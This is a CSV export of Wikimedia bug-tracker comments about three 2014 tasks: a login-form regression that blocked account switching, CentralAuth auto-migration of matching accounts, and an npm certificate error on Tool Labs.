+https://gerrit.wikimedia.org/r/162120",,,1411417955,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6mimi76qa47o25ubseql,task_subcomment,,True,c3,1,False,,,-41,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+321935,Login as another user no longer works,"Patch merged in master, leaving this open until it's clean if we need to backport to 1.24, or if it will be included.",,,1411395534,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-6mimi76qa47o25ubseql,task_subcomment,,True,c3,1,True,,,-41,True,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+321927,Login as another user no longer works,"Change 161465 merged by jenkins-bot:
+Allow logged-in users to view and use the login form again
+
+https://gerrit.wikimedia.org/r/161465",,,1411395359,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6mimi76qa47o25ubseql,task_subcomment,,True,c3,1,False,,,-41,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+321919,Login as another user no longer works,"Change 161465 had a related patch set uploaded by Bartosz Dziewoński:
+Allow logged-in users to view and use the login form
+
+https://gerrit.wikimedia.org/r/161465",,,1411140218,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6mimi76qa47o25ubseql,task_subcomment,,True,c3,1,False,,,-41,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+321910,Login as another user no longer works,*** Bug 69475 has been marked as a duplicate of this bug. ***,,,1410978978,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-6mimi76qa47o25ubseql,task_subcomment,,True,c3,1,True,,,-42,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+321903,Login as another user no longer works,"https://bugzilla.wikimedia.org/show_bug.cgi?id=49890
+
+There was discussion on mailing lists about killing this behaviour.",,,1410848523,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-6mimi76qa47o25ubseql,task_subcomment,,True,c3,1,True,,,-42,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,0,0
+321896,Login as another user no longer works,"(In reply to Betacommand from comment #10)
+> Actually its not. That particular issue has existed for as long as I can
+> remember (~2006) If I log in via a bot, the cookies/session is kept and
+> reused as needed. If I then login via a web browser, both sessions work.
+> However if I log out via the web browser, the session/tokens that the bot
+> have been using get invalidated and cause the bot to no longer be logged in. 
+> 
+> That is about as core as one can get, prior to this a user could be logged
+> in as themselves, note their bot has a new message, log into the bot
+> account, clear the message, and then log back into the main account without
+> ever logging out. This enables multiple logins and does not cause issues
+> where the bot or user gets logged out on other devices/locations.
+
+I can assure you that MediaWiki core does not simultaneously log out all sessions. All logging out does is clear your cookies. I also just tested this on my Vagrant instance using two different browsers,",,,1410836467,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-6mimi76qa47o25ubseql,task_subcomment,,True,c3,1,False,,,-42,True,1,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,0,1,1,1,0,1,1,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,1
+321889,Login as another user no longer works,"Actually its not. That particular issue has existed for as long as I can remember (~2006) If I log in via a bot, the cookies/session is kept and reused as needed. If I then login via a web browser, both sessions work. However if I log out via the web browser, the session/tokens that the bot have been using get invalidated and cause the bot to no longer be logged in. 
+
+That is about as core as one can get, prior to this a user could be logged in as themselves, note their bot has a new message, log into the bot account, clear the message, and then log back into the main account without ever logging out. This enables multiple logins and does not cause issues where the bot or user gets logged out on other devices/locations.",,,1410835565,,PHID-USER-jfiw563ca4r5mxfkj4vx,False,,,PHID-TASK-6mimi76qa47o25ubseql,task_subcomment,,True,c3,1,False,,,-42,True,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,1,0,0,1,0,0,1,0,0,1,1,1,0,0,0,0,1,0,0,1,0,1,0,0,1,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,1,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,1,1,1,0,0,0
+321883,Login as another user no longer works,"(In reply to Betacommand from comment #8)
+> However logging out can cause problems because it invalidates all login
+> sessions. If a user is operating a bot and switches to remove the new
+> message talk page notice, it logs the bot out. 
+
+That is CentralAuth, not a property of core.",,,1410835172,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-6mimi76qa47o25ubseql,task_subcomment,,True,c3,1,False,,,-42,True,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+321878,Login as another user no longer works,"However logging out can cause problems because it invalidates all login sessions. If a user is operating a bot and switches to remove the new message talk page notice, it logs the bot out. 
+
+Honestly I think what this is fixing is a mole hill compared to the mountain of problems that it creates.",,,1410833881,,PHID-USER-jfiw563ca4r5mxfkj4vx,False,,,PHID-TASK-6mimi76qa47o25ubseql,task_subcomment,,True,c3,1,False,,,-42,True,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+321870,Login as another user no longer works,"(In reply to Bartosz Dziewoński from comment #5)
+> Indeed, but it should be easy enough to show the form instead of redirecting
+> when the user is logged in and there's no 'returnto' parameter.
+
+(In reply to Jon from comment #6)
+> To play devils advocate, why would you want to visit the login form whilst
+> logged in? What is wrong with logging out and then visiting it?
+
+These two sort of go together.
+
+The only situation in which there would be no 'returnto' parameter is if you manually navigated to the login page by typing ""Special:Userlogin"" in the search bar (or by entering it in your address bar). I feel like it is much easier and trivial to simply click Logout and then log back in again.
+
+We might be able to improve the experience by having the logout page redirect back to the login page automatically, and just display a message saying you were logged out.",,,1410833150,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-6mimi76qa47o25ubseql,task_subcomment,,True,c3,1,False,,,-42,True,1,0,0,1,0,1,1,0,0,1,1,1,0,1,1,1,0,1,1,0,1,1,1,0,1,1,1,0,1,1,1,1,1,1,1,1,0,0,1,0,0,0,1,1,0,1,0,0,0,1,0,1,1,1,1,0,0,1,1,0,0,0,1,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,1
+321864,Login as another user no longer works,"To play devils advocate, why would you want to visit the login form whilst logged in? What is wrong with logging out and then visiting it?",,,1410830348,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-6mimi76qa47o25ubseql,task_subcomment,,True,c3,1,True,,,-42,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,1,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,0,0,1,0,0,0
+321857,Login as another user no longer works,"Indeed, but it should be easy enough to show the form instead of redirecting when the user is logged in and there's no 'returnto' parameter.",,,1410822782,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-6mimi76qa47o25ubseql,task_subcomment,,True,c3,1,True,,,-42,True,0,0,0,1,0,1,1,0,0,0,1,1,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,1,0,0,1,0,0,0
+321853,Login as another user no longer works,"The issue fixed by the bug is pretty important, so simply reverting the patch will not actually solve anything.
+
+IMO, the bug described (switching between accounts) should really be solved by some sort of account switcher, e.g., like Google has.",,,1410821550,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-6mimi76qa47o25ubseql,task_subcomment,,True,c3,1,False,,,-42,True,1,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+321845,Login as another user no longer works,"(If this is fixed, 5dfc57eb80098a2016ed98cbdcca8ee6e1af1c79 should be reverted.)",,,1410820765,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-6mimi76qa47o25ubseql,task_subcomment,,True,c3,1,True,,,-42,True,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+321840,Login as another user no longer works,Caused by the fix for bug 15484: d0439af89f6b254cea09b3773ab139f04f81a97d.,,,1410820697,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-6mimi76qa47o25ubseql,task_subcomment,,True,c3,1,True,,,-42,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1
+321834,Login as another user no longer works,"**swalling** wrote:
+
+This is an odd regression. For reproducibility:
+
+1. Visit a wiki while logged in.
+2. Search for Special:UserLogin or enter in the URL manually. 
+3. You are redirected to the Main Page
+
+Expected behavior: until recently, you should have been able to visit Special:UserLogin while authenticated as another account. The form then tells you that you are already logged in and allows you to login as a separate user.",,,1410808551,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-6mimi76qa47o25ubseql,task_subcomment,,True,c3,1,False,,,-42,True,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,1,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,1,1,0,0,1,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+72392,Allow to automatically unify on login absent clashes,"If $wgCentralAuthAutoMigrate is set to true, when a user logs in and has no global account, in case all local accouns with same username match the email and/or password, create a global account and merge everything.
+
+It was noted on https://meta.wikimedia.org/?oldid=9740729#RenameUser_announcement that this case is fairly frequent and not handled by $wgCentralAuthAutoMigrate yet. Bug 69291 should have taken care of all the unmerged accounts sharing email.
+
+Example: https://tools.wmflabs.org/meta/stalktoy/Nemo+nonies , two local accounts with same password and no email set; I logged in for both and no global account was created.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",High,80.0,1409826000,1411678444.0,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,False,PHID-TASK-n4yp7kgzlfrue3iyk7ty,task_description,resolved,True,c3,1,True,False,True,-43,True,1,1,0,1,1,1,1,0,0,1,1,0,0,0,0,1,1,1,1,1,0,1,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+324406,Allow to automatically unify on login absent clashes,"And now fixed again. Thanks Lego, Ori, Reedy.
+* b01c59a2436e87ed4bb204a63ef2ab8bc74a4157
+* 58c2fc8387f0a14d266ebd0e23eb874ce9c71f14
+Should reach all Wikipedias with 1.25wmf1 on Thursday, 2 October 2014 (with https://gerrit.wikimedia.org/r/#/c/162971/ ).",,,1411678444,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-n4yp7kgzlfrue3iyk7ty,task_subcomment,,True,c3,1,True,,,-40,True,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+324399,Allow to automatically unify on login absent clashes,Patch was reverted due to bug 71223.,,,1411573160,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-n4yp7kgzlfrue3iyk7ty,task_subcomment,,True,c3,1,True,,,-41,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+324392,Allow to automatically unify on login absent clashes,"Change 158578 merged by jenkins-bot:
+Auto-migrate matching accounts where no global account exists
+
+https://gerrit.wikimedia.org/r/158578",,,1410913843,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n4yp7kgzlfrue3iyk7ty,task_subcomment,,True,c3,1,False,,,-42,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0
+324386,Allow to automatically unify on login absent clashes,"Change 158578 had a related patch set uploaded by Legoktm:
+Auto-migrate matching accounts where no global account exists
+
+https://gerrit.wikimedia.org/r/158578",,,1409887927,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n4yp7kgzlfrue3iyk7ty,task_subcomment,,True,c3,1,False,,,-43,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0
+72120,Tool Labs: Node.js and npm broken due to outdated certificate (install minor update to fix certificate),"I'd like to get a more modern version of node installed in Tools Labs for the anon project. Right now we have v0.8.2 installed but v0.10.31 is available if we add another apt repository:
+
+    apt-add-repository ppa:chris-lea/node.js
+
+I get an error when attempting to npm install packages (see below). I believe this error is the result of an older version of npm that comes with v0.8.2. I installed v0.10.30 locally and the problem went away. I would like to have a more modern node installed so I can use the open grid engine to manage the anon bot. Right now I have it running using a locally installed version of node in /data/project/anon/node/
+
+Error: SSL Error: SELF_SIGNED_CERT_IN_CHAIN
+npm ERR!     at ClientRequest.<anonymous> (/usr/lib/nodejs/npm/node_modules/request/main.js:440:26)
+npm ERR!     at ClientRequest.g (events.js:185:14)
+npm ERR!     at ClientRequest.EventEmitter.emit (events.js:88:17)
+npm ERR!     at HTTPParser.parserOnIncomingClient [as onIncoming] (http.js:1445:7)
+npm ERR!     at HTTPParser.parserOnHeadersComplete [as onHeadersComplete] (http.js:111:23)
+npm ERR!     at CleartextStream.socketOnData [as ondata] (http.js:1356:20)
+npm ERR!     at CleartextStream.CryptoStream._push (tls.js:396:27)
+npm ERR!     at SecurePair.cycle (tls.js:750:20)
+npm ERR!     at EncryptedStream.CryptoStream.write (tls.js:131:13)
+npm ERR!     at Socket.ondata (stream.js:38:26)
+npm ERR!  [Error: SSL Error: SELF_SIGNED_CERT_IN_CHAIN]
+npm ERR! You may report this log at:
+npm ERR!     <http://github.com/isaacs/npm/issues>
+npm ERR! or email it to:
+npm ERR!     <npm-@googlegroups.com>
+
+npm ERR! System Linux 3.2.0-59-virtual
+npm ERR! command ""nodejs"" ""/usr/bin/npm"" ""install""
+npm ERR! cwd /home/edsu/Projects/anon
+npm ERR! node -v v0.8.2
+npm ERR! npm -v 1.1.39
+npm ERR! message SSL Error: SELF_SIGNED_CERT_IN_CHAIN
+npm http GET https://registry.npmjs.org/coffee-script
+npm http GET https://registry.npmjs.org/ipv6
+npm ERR!
+npm ERR! Additional logging details can be found in:
+npm ERR!     /home/edsu/Projects/anon/npm-debug.log
+npm ERR! not ok code 0
+
+--------------------------
+**Version**: unspecified
+**Severity**: critical",High,80.0,1409226660,1413324080.0,PHID-USER-nm47z3qdlxv5opuz3qyk,False,,False,PHID-TASK-xsx4vrpeet5dmzku47yq,task_description,resolved,True,c3,1,False,False,True,-44,True,0,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,0,1,1,1,1,1,0,0,1,1,0,0,1,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,1
+333414,Tool Labs: Node.js and npm broken due to outdated certificate (install minor update to fix certificate),"Sorry, missed that email. Thanks for clarifying!",,,1416996190,,PHID-USER-53x4y44yt43qjivfzsqf,False,,,PHID-TASK-xsx4vrpeet5dmzku47yq,task_subcomment,,True,c3,1,False,,,-32,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+333345,Tool Labs: Node.js and npm broken due to outdated certificate (install minor update to fix certificate),@danmichaelo use trusty.tools.wmflabs.org and use jsub with -l release=trusty. Both have newer versions.,,,1416984143,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-xsx4vrpeet5dmzku47yq,task_subcomment,,True,c3,1,True,,,-32,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,1
+333344,Tool Labs: Node.js and npm broken due to outdated certificate (install minor update to fix certificate),Why was this closed? Node / npm is still broken on Tool Labs,,,1416984103,,PHID-USER-53x4y44yt43qjivfzsqf,False,,,PHID-TASK-xsx4vrpeet5dmzku47yq,task_subcomment,,True,c3,1,False,,,-32,True,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0
+313998,Tool Labs: Node.js and npm broken due to outdated certificate (install minor update to fix certificate),"There is now a Trusty instance available to tool labs (per the email on labs-l) which can be requested with the ""-l release=trusty"" option to qsub and jsub.",,,1413324080,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-xsx4vrpeet5dmzku47yq,task_subcomment,,True,c3,1,True,,,-38,True,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0
+313995,Tool Labs: Node.js and npm broken due to outdated certificate (install minor update to fix certificate),"(In reply to Ed Summers from comment #9)
+> Can tools labs easily be upgraded to Trusty?
+
+Not all of it, but there is a Trusty grid node available, and I'm about to add a Trusty bastion - between them you should be able to debug and run jobs on Trusty.
+
+More news on labs-l today.",,,1413300045,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-xsx4vrpeet5dmzku47yq,task_subcomment,,True,c3,1,True,,,-38,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,1,0,0,0,1,0,0,1,0,0,1,0,1,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,0,1,1,0,1,0,1
+313989,Tool Labs: Node.js and npm broken due to outdated certificate (install minor update to fix certificate),Can tools labs easily be upgraded to Trusty?,,,1409945433,,PHID-USER-nm47z3qdlxv5opuz3qyk,False,,,PHID-TASK-xsx4vrpeet5dmzku47yq,task_subcomment,,True,c3,1,False,,,-43,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0
+313984,Tool Labs: Node.js and npm broken due to outdated certificate (install minor update to fix certificate),New Trusty VMs should have node 0.10 and a reasonably up to date npm. I'd recommend upgrading or creating a new trusty VM.,,,1409348163,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-xsx4vrpeet5dmzku47yq,task_subcomment,,True,c3,1,True,,,-44,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+313980,Tool Labs: Node.js and npm broken due to outdated certificate (install minor update to fix certificate),So is Parsoid not using npm at all? I really just need a working npm more than the most recently version of node. Thanks for your help!,,,1409343209,,PHID-USER-nm47z3qdlxv5opuz3qyk,False,,,PHID-TASK-xsx4vrpeet5dmzku47yq,task_subcomment,,True,c3,1,False,,,-44,True,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,0,0,1,0,0,1,0,1,1,1,0
+313977,Tool Labs: Node.js and npm broken due to outdated certificate (install minor update to fix certificate),"That's actually not so much a Labs issue as it is a prod issue.  Precise provides 0.6.12 - our current install of nodejs comes from the WMF repo which provides (atm) 0.8.2 (and is in current use by Parsoid so upgrading it blindly is not a possibility).
+
+Given that the change may be breaking, upgrading to 0.10 is also not really an option.
+
+There are two possibilities:  (a) upgrade the WMF nodejs to the latest 0.8 release (requires coordination with the Parsoid people at least) or (b) install a project-local nodejs.
+
+(b) is less desirable because it increases maintenance overhead and makes labs diverge from prod (which we try to minimize).
+
+I'll look into doing (a) swiftly but if it's not possible I'll fall back to (b).",,,1409327474,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-xsx4vrpeet5dmzku47yq,task_subcomment,,True,c3,1,True,,,-44,True,1,0,0,0,1,1,1,1,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,1,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,1,1
+313974,Tool Labs: Node.js and npm broken due to outdated certificate (install minor update to fix certificate),*** Bug 69079 has been marked as a duplicate of this bug. ***,,,1409233910,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-xsx4vrpeet5dmzku47yq,task_subcomment,,True,c3,1,True,,,-44,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+313970,Tool Labs: Node.js and npm broken due to outdated certificate (install minor update to fix certificate),Raising priority. npm is unusable without this.,,,1409231459,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-xsx4vrpeet5dmzku47yq,task_subcomment,,True,c3,1,True,,,-44,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+313964,Tool Labs: Node.js and npm broken due to outdated certificate (install minor update to fix certificate),"See also http://blog.npmjs.org/post/78085451721/npms-self-signed-certificate-is-no-more
+
+In short: They used to have a self-signed certificate which was baked into nodejs. They got a proper certificate now, but existing npm installs don't know about this yet.
+
+You don't need to upgrade to a major new version (so not the ones in Trusty). A newer nodejs 0.8.x release and npm 1.4.x will suffice.",,,1409231424,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-xsx4vrpeet5dmzku47yq,task_subcomment,,True,c3,1,True,,,-44,True,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,0
